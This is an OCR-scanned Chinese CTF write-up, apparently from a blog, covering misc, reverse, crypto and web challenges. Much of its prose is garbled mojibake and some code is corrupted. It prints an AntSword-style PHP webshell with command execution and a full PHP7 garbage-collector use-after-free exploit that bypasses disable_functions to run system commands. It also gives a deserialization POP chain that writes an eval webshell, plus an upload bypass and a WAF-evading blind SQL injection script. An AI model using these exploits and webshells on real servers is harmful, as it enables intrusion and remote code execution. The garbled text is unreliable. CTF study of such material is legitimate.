201975812 2 FE writeup

g 2 Sp I F 2019-11-29 10:58:33 KA 1038 o

WA E R : ASCREEEAICE, #EIE CC4.0 BY-SA AN, B85 EE S s mASEg,
ASCEERE: httpsy/blog.csdnnet/qq 38154820/article/details/106330154

WA

MISC

0x01 misc1
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0x02 misc2#!/usr/bin/env python# -*- coding: utf-8 -*-

import osfrom flask import requestfrom flask import Flask

secret = open('/flag', 'rb")

os.remove('/flag')

app = Flask(__name__)app.secret_key = '@15b9efef8f51cO0bcba57ca8c56d77a’

@app.route('/")def index(): return open(__file_ ).read()
@app.route("/r", methods=["'POST"'])def r(): data = request.form["data"] if os.path.exists(data):
if _name__ == '__main__"': app.run(host='0.0.0.0"', port=8000, debug=False)

AR, flagXfFopen/E#iMER, mTLLEC AR EEflag

data=/proc/self/fd/3
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18 FH010editor& -+ 75 it il gn 4B 23 4T FFhtmi>CfE, AIERFEE—BRBEFFIE2 80 scHMIFFIE2 80 SBALEHIFAM
T, #E2 80 scM A0, E2 80 sBMLALMATH ¥V 1Sflag 7EChromed Y283 K K& TR ITFHF WA MUk
27


https://hetian.blog.csdn.net
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/106330154

@827h: E2 8@ BC E2 20 BB E2 20 8B E2 88 3C E2 80 BC E2 A€Ea£<a3£«3€E3€Ea
2837h: B8 BB E2 88 BB E2 88 3C E2 8@ BC E2 80 8B E2 88 <£«3€:3€E3€E3€a€
@847h: 8B E2 88 BC E2 80 BB EZ 20 BB E2 88 3C E2 88 BC «3€Ea€«3£«3EEAEE
2857h: E2 8@ BC E2 28 BB E2 30 BB E2 88 BC E2 80 BC E2 3€Ea€<3€«3€E3€E3
@867h: 88 BC E2 88 3C E2 3@ 8B E2 8@ BC E2 230 8B E2 88 <£CE3€Ea€a£E3£«at
8877h: BB E2 88 BC E2 82 BC E2 8P BB E2Z 88 8B E2 B8 8B «3€Ia€Ea€«3€3€«
@887h: E2 8@ BC E2 20 BB E2 20 8B E2 80 3B E2 80 3B E2 A€Ea£<3€<3€«3€«<3
2897h: 88 BC E2 86 BB E2 88 3B E2 8@ BC E2 80 8B E2 88 <£I3€:3€:3€E3€£a€

@aash: ellaelle @lilellee allegsel &lleelll &81111ell eélileelel 88118816 elleeasl Tlag{ela
288sh: e8111e81 81188811 88111868 &11680818 6p11eesl eplleeel 88118111 88118181 S9c8bl175
@alseh: ellaelel es8lilelle @a8l11911e élleeall élleelle eéslleele 88118801 81188118 eb6cf2lf
2a18h: eellleee e8llelel 88111861 @ellesll olleeele 8lleeell 88111868 88118181 8593bc8s
@a2eh: elleeele elleelle 88111861 e8lleall evlllesl Bllllilel bfg39}

0x03 webshell
SV ER A, RS2 EHATHIshellf@ % 5 KB T

<?php
@ini_set("display_errors", "0");
@set_time_limit(@);

function asenc($out)

{

@session_start();

$key = 'f5045b@5abe6bec9ble37fafa851f5de9"’;

return @base64_encode(openssl_encrypt(base64 _encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}

)

function asoutput()

{
$output = ob_get_contents();
ob_end_clean();
echo "8c2b4";
echo @asenc($output);
echo "e2el0";
}

ob_start();
try {
$p = base64_decode($_POST["0Ox1b4d456c7297d"]);
$s = base64_decode($_POST["Oxb9b45688a5a08"]);
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$sF\"" : "/c \"{$s}\"";
$r = "{$p} {$c}";
function fe($f)

$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else
$d

-~

arrav man('trim'. arrav man('strtolower'. $d)):



¥
return (function_exists($f) && is_callable($f) && !in_array($f, $d));

3

function runcmd($c)

{
$ret = 0;
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell exec')) {
print(@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("
", $0));

} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {

print(@fgets($fp, 2048));

}
@pclose($fp);

} elseif (fe('antsystem')) {
@antsystem($c);

} else {
$ret = 127;

}

return $ret;

$ret = @runcmd($r . " 2>&1");
print ($ret != @) ? "ret={$ret}" : "";;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
s
asoutput();
die();
?>
//ed3edq113

EELNMHTTPRH, ELT flag

In [4]:

base64.b6ddecode( " ¥Y2QgIi92YXIvd3d3L 2habliwvdGiwl jti¥XQgZmxhZ3xivXNINjQg02ViaG8gWINdO3B3ZDE1Y2hvIF
tFXQ==")

Qut[4]: b'cd "/var/www/html/tmp";cat flag|basebd ;echo [S];pwd;echo [E]’

flag&id 7 —Ebaseb4n®, fEasoutput FiEHIEIN T AIEH, AJSEE—Tbase64, NEAESHIZ WM. KA
BT



kRD1eD+vSZ81FAJGXClabCRexNFklup5/x+gixas318kdMTRZIbgef&folsWrNSdIHTEBWSWENN /HECLFqzeXSRExNFklups
fx+gixas318kdMTRZIbgefBfolsWrN5dZ0TFg4DWOMYwGEk3rEvAARBOFStGNTMREUIOqcemgokfKBUrRp3zEBVCTgnNIoK]
HygVK8ad8xG1QkopzSaCiRBoFStGnfMREtUIOqc@mgokfKBUrRp3zEbVCTgnIok]1gI47Cz1/qfnNoNARGhLFVhCBRI1fekC
vbPwpjFn//BSFY8RI1Zyxz1a+TPyBD3cUhWPESZWcscOWvkzB8tA93FIViXEMVNLHPVrSM/LQPdXSFY8RI1Zyxz1a+TPyBD3C
UhWPESZWcscOhvkz8tAS3GnMvIfVbvphfintl17I0kzYjvvolk2fnYDR7udnlGM3YitxGYGsImn+HS51IBXORtYrcRmBrPZp/
heuyiQVzkbWK3EZgaz2af4dLmIkFc5G11txGYGsOmn+HS51IBX0RtUg4dBjDRFhDgDyzs8CS5cIhrd3yMusQ+qsnZkgdEy7HY
JHTEBWSWenn/HECLFqzeXSRexNFklup5/x+gixas318kdMTRZIbgef&folsWrNSdIHTEBWSWENnn /HECLFqzeXSRExNFklups
{®+gixas312hDPubDhVNATaDLzp9bXyfGeCvhvglaaNo2rA/ovnRTTEFASZywMO01jjomd5RItgjXwOlicsDDjood+pnellSLao
18D1nLAwd6KOPqQZ31Ei2qNfASZywMO0ijjemdSRItqgSebohSTrETXOYNZo2awgUAygVacgwriNING2k/kihhheQQfnjead
ZhkzBNBjAKIMzFmAMaT7xQ1URXTaHoHjDg3NaWl/8+PVG+pyakKrbNDjf177P0eQES+BMCHpz6YXWLI6mwCelX3uzz /HSHCHS Y
QBE8FxjOhugOEroXkd3LZi/68Gr4gIEc1IIXASAZpE/VEZ/DFWNORAM/ ITIWIGr5

fRE A

<?php

$r=file_get_contents("enc");

$key = 'f5045b@5abe6ec9ble37fafa851f5de9"’;

echo openssl_decrypt(base64_decode($r), 'AES-128-ECB', $key, OPENSSL_RAW_DATA);
?>

Z 3lflag:flag{AntSword_is_Powerful_3222222!111}
re

rel

init arrayMfini array#BE PR, Finit arrayBEMERBENT RA, BEFEpatchBIF, RF1E
EreyiBEH T

for ( § =@; j <= 15; ++j )
1
result = aThisIsNotKey;
aThisIsMotKey[j] "= 7u;

?ﬁ}ﬁfini_arrayj‘%%}ﬁﬂgﬂﬁg@@ﬁ

for ( 1 =8; i <= 15; ++1 )
{
result = (unsigned _ int8)byte 282848[1 + exil8];
if ( byte_2@828e@[i] != (_BYTE)result )
v2 = @;

NERBRRCARIE, BBHAN:



import baseg4

from Crypto.Cipher import ARC4

key = "sontXntXihsX1lb~&"

data "A"*Bx18

rcdl = ARCA.new(key)

# partl = rcd4l.decrypt(’'78695a5c2515935f6d158711ee@lb3ab’ . .decode( "hex"))

part2 = rcd4l.decrypt('7f385e5f1619bf7471131825d75felff" .decode( "hex'))

print part2

re2

3270 — IR IT AR A, B HE 4 i SRAE BIFE L P i B (

import re
a="'"''17153 * al[27]
+ 41549 * al[26]
+ 28202 * al[24]
36806 * al[23]
12690 * al[22]
42821 * a1[20]
39834 * a1[19]
17994 * al[17]
32765 * al[14]
25687 * al[10]
33388 * al[9]
143 * al[4]
63776 * al[e@]
8682 * al[1l]
16324 * al[2]
20022 * al[3]
48973 * al[5]
- 57775 * al[6]
- 43820 * al[7]
- 41070 * al[8]
- 15669 * a1[11]
- 6946 * a1[12]
- 23187 * al[13]
- 46495 * a1[15]
- 8395 * a1[16]
- 27782 * al[18]
- 46043 * a1[21]
- 15428 * a1[25]
- 59010 * al[28]
- 49235 * a1[29]
- 53666 * al[30]
+ 28539 * a1[31] == -15479857 '''
a = a.replace("al","").split("\n")

+ + + + + + + + + + +

HOHF OH O OH O OH OH O OH OH OH OH OH OH OH OH K OH OHH OH OHE OH O H OHHE OH HE H H HEH
1

# matrix = [@ for i in range(32)]

# for i in range(32):



H*

HOH OH O OH OH OH OH O OH O OH OH O OH O OH OH OH OH HE OH OHH OH HE OH H H OH HE OH H

H OHF OH O OH OH O H

f = re.sea}ch(“([+-]?) ([0-9]1*)",a[i]).groups()[@]

#
# value = int(re.search("([+-1?) ([0-9]*)",a[i]).groups()[1])
# if £ 1= "'":
#if £ == '-":
# value = -1*value
# else:
# pass

# idx = int(a[i][a[i].find('[")+1:a[i].find("']")])
# matrix[idx] = value

for i in matrix:
#m+= str(i)+',"'
m = m.strip(',")
print m

http://www.yunsuan.info/matrixcomputations/solvelinearsystems.html

44493, -326,-57451,-18424,22432,45266,20069,47551, -3751,39591, 35081,45204, -6984, -9410, -54261,2139,48734, -6
-54741, -3606,48560, -45416,22008,11900, - 24275, -64371,32499,46114, -25714,21730, -56673,9624, 28702, -39430, 918
17703, -16114,-24359,54532,15266,5819, -33999,19362, - 58904, 63538, 64858, 2665, -11844, -29623,20144, 43681, 32755
24247,64898,-24733,3430,41149,17219, -16545,42702, -1315, 24960, 27013, 28,2783, -15867, -12126,28232, -3823, 3752
-32261,-54551,15294, -61664, -40648, -12277,-55300, -63212,41251, -45548, -22362, -32993, 64221, -43046, -40770, 538
-9407,64048,60965,33702,-12654,-56126, -47366,47843,30627, - 29056, 32583, -50822, -6240,43847,47577,-12371, 831
-23136,47281,20301, -61441,2565,57144,44459, -31365,16024,54218, -56894, -52977, -39404, -63477,63390, -22773,46
62577,23069,18654,4696,22400, -16178,42663, -34941, -50803, -28229,15341,3911, -45565, 50053, -45774,18373,7881,
-39728,57392,910,37963, -2274,-61995, -43938, -12412, -10642, -10303,31888,7362, -16356, -615,40135,-11314, -1718
-16296, -8786,48180, -65236, -48383,-32713,61315, -58771, -47593, -14512,6483,56260, 25366,58190, -60203, 27537, 50
-31610,52623, -35005, 25689, -9320,63683,39253,51102, -16508,11413,3265,35320,18706, 6847, -55110,528,35247, -63
47557,52902,-12806,-59773,-9182,-57417, -18447,6146,15859,59808, 30791, -54963,45466, -61599,49637,21116,1578
37688,23309,-2616,59129,5104,-12561, -3215, 60503 ,29438,42505, -49703,38339,12457,45365, -15471,33925, -23447,
20452,18062, -56424,56918, -10457,50206, -12288, -54591, -44777,24700,12962,38458, -52078,19385,18867, -9805, -48
-39611,25246,1951, -37145, -3824,21330, -49145, -43603, 8191, -60671, -53032, -48392, -15417,40645, -13059, -58653, 4
-39824,44401,45166,53538, -2540,43929, -54452, -11199, -19801, 23926, -13592,47959,19579, -29922, 30392,15405, 613
62215,19566,15203, -30340, -15964,59815, -13939, 60087, -43008, -44925, -49239, -40498, -54453, -33557,6928,24510, 3
35423,-12994,33894,40977,57560,63291, -32256, -23534,40291,5725, -40660,43131,-19119,21483,39085,62097, -3373
44942 ,63420,58838,55103,27162,53130, 27559, 26302, -24313,-42499, -21629, 34155, -2633, -55014, -22926,19761, - 305
6300, -30549,9153,26426,46559, -55683,62261, -44433,6137,-46194, -57198, 33875, -45266,51231,65438,45781, -6605,
-28415,36297,5686,59059,14796,-11307, -57251, -29507, -41415,12090, 62270, 8353, -24476, -41751, -46589, 63967, 550
15479,10453,58731,-9782,63976,-9166,5707,-21516, -2689,29174,23244, -47968, -38843, -13488,61646,3991,57764, -
36368, -30534,50614, -7805,9520, -60795, -17511, -34692, -22139, -49013, -24672,41197,35504,28641,11252, -22264,56
3542,-17533,28247,1791, -44455, -2748,21876, -38052,8511,61205, -16528, -4664, -13326,16494, -52661, - 38860, 58300
-7510, -61303,25124,35004, -34033, -49161, -6021, -36125,37617,-10528, -47741, -45531, -1546, 2052, -59464, 29853, -2
19310,1288, -38840,-49229, -40618,39102,34746, -41363, -45367,41169, -21440, -36535, 33349, -43289,47866, 5395, 566
-18187,28981,-53485,17974,41797, -20458, -8491, -16831, 33384,53494, -31995, 51835, -12109, 30996, 42087, 60427,129
-40011,-26232,-4849, -60564,20386,44081, -50739,40590, -17237,19883, -35381, 28950, -4203,19225, -50964, - 39946, 2
-42653,43668,-10988,3756,34932,61953,22126,29632,59350, -48711, -23958, -33557,50367,41961, -17831, -4583,4161
-26968,-23313,38342,5179,10458,3678, -32333, -43275,-2423,-60827, -42621, 15986, -27590, 59508, 53583 ,19553, -563
8386,57646,35980, -4029,8314,18877,4313,29760, -47059,46356,52295,35013,57567, -25490,64744,1703,55168, -6252
63776,8682,-16324,-20022,143,-48973,-57775, -43820, -41070, 33388, 25687, -15669, -6946, -23187,32765, -46495, -83

34771791
-9451883
29782736
27959979
-10644544
230179
15871572
12844672



-7906855
-5359162
34815239
23582278
30273764
7501764
-35816639
30983928
-4472687
18523534
20982750
5070455
3066924
26232118
-860377
-14482154
-17062269
6695285
16909859
-1622782
33025495
-10454601
51177223
-15479857

H OH OH OHF OH OH OH OH OH OH OH OH O OHF OH OHE OH OH H K HE OH H H

res = [99,115,50,56,82,116,116,104,72,113,115,98,117,102,111,106,115,76,122,55,121,103,50,68,89,113,87,81,6
flag = ''.join([chr(i) for i in res])

print flag

crypto

rsal



from flag import FLAG
from Crypto.Util.number import *
import gmpy2

import random

while True:
p = int{gmpy2.next_prime(random.randint(18**390, 18**488-1)))
g = int(str(p)[26@: |+str(p)[:280])
if gmpy2.is_prime(q):

brezak

m = bytes_to_long(FLAG)
n = p*g
e = 65537

€ = pow(m,e,n)
with open{"enc”,"wb") as f:
f.write(str(c))
T.write("\n")
f.write(str(n))
pAIQ#AR &£ 4004z 1%, pAIqRT J& 20048 [
A LA #p=a*pow (10,200) +b Q=b*pow (10, 200) +a
Frlin=a*b*pow (10,400) +a*a*pow (10,200) +b*b*pow (10, 200) +a*b
AT LUK N BT 2004240 /5 20062 &R 2] a*b
BHnREa o2 RElaxa + b*b
KitabjEERip,q



from Crypto.Util.number import *

import gmpy2

import random

from gmpy2 import *
n=211730643045749508437374464091920918444108583544078533915182198285858095755464804639803545294125307856254
e = 65537

nnnl=int(str(n)[:200])-1

nnn2=int(str(n)[660:])

ab=int(str(nnnl)+str(nnn2))

ab=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625

a2b2=n-(pow(10,400)+1)*ab #a**2+b**2
# print a2b2

t=a2b2/pow(10,200)

# print t

tl=t+2*ab #(a+b)**2
print "(a+b)**2:",t1 #(a+b)**2
t2=t1-4*ab #(a-b)**2
print "(a-b)**2:",t2 #(a-b)**2

ttil=iroot(t1,2)[0]
print "(a+b):",ttl #(a+b)
tt2=iroot(t2,2)[0]
print "(a-b):",tt2 #(a-b)

b=(tt1l-tt2)/2
a=ttl-b
print "b:",b

print "a:",a

print iroot(t1,2)
print iroot(t2,2)

a*pow(10,200)+b
b*pow(10,200)+a

print p*g==n

print "p",p

print "q",q

phin = (p - 1) * (q - 1)

d = gmpy2.invert(e, phin)

print "d",d
€=163960232853240390095581959628520408682438079710277965995803514148036757539331200240778865017369870106588
flag = gmpy2.powmod(c, d, n)

print hex(flag)[2:].decode('hex")
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#!/usr/bin/env python3
# coding=utf-8

import os

import signal

from Crypto.Cipher import AES
from Crypto.Util import Counter

def enc(msg, key):
ctr = Counter.new(128, initial_value=sum(msg))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
return cipher.encrypt(msg)

if _name__ == '__main__"':
signal.alarm(60)
key = os.urandom(16)
with open('/home/ctf/flag', 'rb') as f:
flag = f.read()
assert len(flag) == 30
enc_flag = enc(flag, key)

print("Welcome to the our AES encryption system!")
print(f"Here is your encrypted flag: {enc_flag}")
for i in range(390):

try:

plaintext = input("Please input your plaintext: ")
plaintext = bytes.fromhex(plaintext)
ciphertext = enc(plaintext, key)
print(f"Here is your ciphertext: {ciphertext}")
except Exception:
print('Error!")
break
print('Bye~")

Aesf¥jcountert® = (CTR)

Hrinitial_value=sum(msg) , X4 Ff1%1 A K plaintextii% &£ sum(plaintext)==sum(flag)®}, flag * encflag == input
Aenc_input, MR8 flag=encflag A input A enc_input

flagi BE30ML 0x20* 30 WIBBEE] 0x7£*30



from pwn import *
import sys
from Crypto.Util.number import *

def check(strl):
if "flag" in stri:
return True
else:
return False

# for x in range(©x20,0x7f):
for x in range(92,93):
print(x*30)
p = remote("111.186.57.123",10001)
p.recvuntil("flag: b")
enc_flag = p.recvuntil("\n",drop=True)
exec("enc_flag = "+enc_flag)
for i in range(390):
p.recvuntil("plaintext: ")
plaintext=chr(x)*29+chr(x+i)
p.sendline(plaintext.encode('hex"'))
p.recvuntil("ciphertext: b")
ciphertext = p.recvuntil("\n",drop=True)
exec("ciphertext = "+ciphertext)
res = long_to_bytes(bytes_to_long(ciphertext)”bytes_to_long(plaintext)”bytes_to_long(enc_flag))
if check(res):
print res

BR%sum (flag) fE2760%27902 8]
flagh flag{Don't ReuS5e nOnCe 1n CTR}
web

ezupload

<!---/.login.php.swp-->EF|JHET



<?php
#terror_reporting(0);
session_start();
include "config.php";

$username = $_POST[ 'username'];
$password = $_POST[ 'password’'];
if (isset($username)){
$sql = "select password from user where name=?";
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($dpasswd);
$stmt->fetch();
if ($dpasswd === $password){
$_SESSION[ 'login'] = 1;
header("Location: /upload.php");
}else{
die("login failed");
}
$stmt->close();
}
Yelse{
header("Location: /index.php");

}
$mysqli->close();

mysql& B B RNL R, $dpasswd===NULL M4 $password===NULLBEl$ POST['password']===NULL,
T R T % i

B Ja HEN A% S IR R B, i R I S Sk Ml content-type i3 i€ php a5 4%, _E A% .php5 34, B Bh & 2 shell
Z 3flag:flag{logical_bypass_not_weak password}
expass(bypassDF)

HR—MET]
<?php
if(isset($_GET['src']))
{

highlight_file(___FILE_ );
}

eval($_GET['cmd']);

phpi 3% [F] i https://github.comymmOr1/exploits/tree/master/php7-gc-bypass
B FHATHIAr S

POST /?cmd=eval($_POST['a']); HTTP/1.1
Host: 111.186.57.43:10101



Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/s
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 5781

Content-Type: multipart/form-data; boundary=-------- 1608040292

---------- 1608040292
Content-Disposition: form-data; name="a"

@pwn('/readflag');

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s
$address = 9;
for($3 = $s-1; $j >= 0; $3--) {
$address <<= 8;
$address |= ord($str[$p+$i]);

8) {

}

return $address;

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & oxff);
$ptr >>= 8;
}

return $out;

function write(&$str, $p, $v, $n = 8) {
$i = o;
for($i = ©; $i < $n; $i++) {
$str[$p + $i] = chr($v & Oxff);
$v >>= 8;

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - ©x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;



function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p _vaddr : $base + $p_vaddr;
$data_size = $p_memsz;

} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text _size = $p _memsz;

if(!$data_addr || !$text_size || !'$data_size)
return false;

return [$data_addr, $text_size, $data_size];

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e€6174736e6163)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326€6962)
continue;
} else continue;

return $data_addr + $i * 8;



function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & Oxfffffffffffffooo;
for($i = 0; $i < Ox1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, @, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f _entry = leak($addr);
$f name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;

class ryat {
var $ryat;
var $chtg;

function __ destruct()

$this->chtg
$this->ryat

$this->ryat;
1;

class Helper {
public $a, $b, $c, $d;

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];



for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;0:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}";
$out = unserialize($poc);
gc_collect_cycles();

$v = [1;

$v[@] = ptr2str(e, 79);
unset($v);

$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == @) {
die("UAF failed");

# leaks

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary _leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");

if(!($zif svstem = get svstem($basic funcs))) {



—e N NT T —s - @ —mU T T NT - - — -~ —— 77 %

die("Couldn't get zif system address");

# fake closure object
$fake_obj_offset = 0xdo;
for($i = 0; $i < Ox110; $i += 8) {
write($abc, $fake_obj offset + $i, leak($closure_obj, $i));

# pwn

write($abc, 0x20, $abc_addr + $fake_obj offset);

write($abc, Oxde + 0x38, 1, 4); # internal func type
write($abc, Oxde + 0x68, $zif system); # internal func handler

($helper->b)($cmd);

exit();
}
__________ 1608040292
ezpop
<?php

error_reporting(0);

class A{

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null)

{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents)
{

$cachedProperties = array_flip([
'path', 'dirname', 'basename', ‘'extension', 'filename’,
'size', 'mimetype', 'visibility', 'timestamp', 'type',



1)

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);

return $contents;

public function getForStorage()

{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
}
class B{
protected function getExpireTime($expire): int
{
return (int) $expire;
}
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}
protected function serialize($data): string
{

if (is_numeric($data)) {
return (string) $data:



$serialize = $this->options['serialize’'];

return $serialize($data);

public function set($name, $value, $expire = null): bool

$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];

}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (lis_dir($dir)) {
try {
mkdir($dir, @755, true);
} catch (\Exception $e) {
// BIERM

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
/1B RS
$data = gzcompress($data, 3);

}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file put_contents($filename, $data);

if ($result) {
return true;

return false;



if (isset($_GET['src']))
{
highlight_file(___FILE_ );

}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);

}
unserialize($_GET["data"]);

W& popik

B R : destruct()=>A::save()=>A::store->set ()==b::set () B R Sresult =

file put contents($filename, Sdata);

Seidexiti@id iksfilename Nphp://filter/write=convert.base64-
decode/resource=uploads/shell.php

B AphpH Hibase64 decode R¥E BMEAFF & basebddmid 7, HABEFRAR—AF TR 8 BT
5, BT bAB & RS ) B php00000000exi t MIBAMEAKIsdata®®, K Abase64E ikt Z4
byte—4, B CATRAT R B RATFE B E IE MRS A 21 B T 58 20 275 K B4R S B AT

4T LS pIifi{E 1§ & link
$filename
fEB: :getCacheKey ($name) H, ¥Sthis->options['prefix']MsnamePiEEF|

&R : :optionsHlA: :keyffisfilename Nphp://filter/write=convert.base64-
decode/resource=uploads/shell.php

$data
H$value=A::getForStorage () MlB: :serialize ($value) 153

Hi&AIcache S84 [ 'path'=>"a", "dirname'=>base64 encode ('<?php eval ($ GET[a]l);?
>")1;
B LS Svalue=A: :getForStorage () HIE

?'Sl[ {"path":"a","dirname" :"PDO9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"}, true]

G Fi&EBserializefE NserializeB AT UMEAB: i serialize ($value) HIME Ns:64:"
[{"path":"a", "dirname" :"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"}, truel";

XPEFEBR G S dat atfibaseBAfRAG i i R
Hphp//000000000000exits64pathadirnameMPDIwaHAGZXZhbCgkX0dFVFthXSk7Pz4gtrue, A
J B 36 15 B 4w Y . T 52 i exit

payload



<?php
class A{
protected %$store;
protected fkey;
protected f$expire;
public $cache = [];
public $complete = true;
public function _ construct () {
$this->store = new B();
$this-»key = 'shell.php’;
$this->cache = ["path'=>'a", 'dirname’'=>basetd_encode('<?php eval($_GET[a]);?>"')1];

¥
h
class B{
public $options = [
"serialize’ =» 'serialize’,
"prefix’ =» ‘php://filter/write=convert.baseb4-decode/resource=uploads/",
1:
h

echo urlencode(serialize(new A())).

ezjjava
fastjson 1.2.47 RCE https://github.con/CaijiOrz/fastjson-1.2.47-RCE
ezwaf
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<?php
include "config.php";

if (isset($_GET['src']))
{
highlight_file(__FILE_ );

function escape($arr)

{
global $mysqli;
$newarr = array();
foreach($arr as $key=>$val)

{
if (!is_array($val))
{
$newarr[$key] = mysqli_real_escape_string($mysqli, $val);

}

return $newarr;

$_GET= escape($_GET);

if (isset($_GET['name']))
{
$name = $_GET[ 'name'];
mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
$age = $_GET['age'];
mysqli_query($mysqli, "select name from user where age=$age");

EFagelE MIEN R, AFEERRS] S, BA B EFHNEEE
2age=1%2bsleep (1) =>403
apacheiZ & T waf

FA W 7% i http . 543 modsecurity



import socket

ip = '111.186.57.43'
port = 10601

def send_raw(raw):

try:
with socket.create_connection((ip, port), timeout=4) as conn:
conn.send(raw)
res = conn.recv(10240).decode()
# print(res)
return False
except:
return True
if __name__ == '__main__'
res = 'flag{abypass_modsecurity'

for i in range(24, 50):
for j in range(32, 127):
payload = '''GET /?age=1%200r%201%20and%20ascii(substr((select%20*%20from%20flag_xdd),{},1))={}

Host: 111.186.57.43:10601

Accept-Encoding: gzip, deflate

Connection: close

Content-Length: ©

Content-Length: ©

"o format(str(i), str(j))
exp = payload.encode().replace(b'\n', b'\r\n")
# print(exp)
if send_raw(exp):
res += chr(j)
print(res)
continue

ANEERE BV B 18] AT AR K — R

FREN, HXEFNIE!
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http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA%253D%253D&chksm=bd59304b8a2eb95d8ce88b202c516f3a4366ac5b2da8047180012c46ba7f0e9aa555e3360971&idx=2&mid=2652851334&scene=21&sn=c3cddfe9e230204c6892b06159d419d1#wechat_redirect
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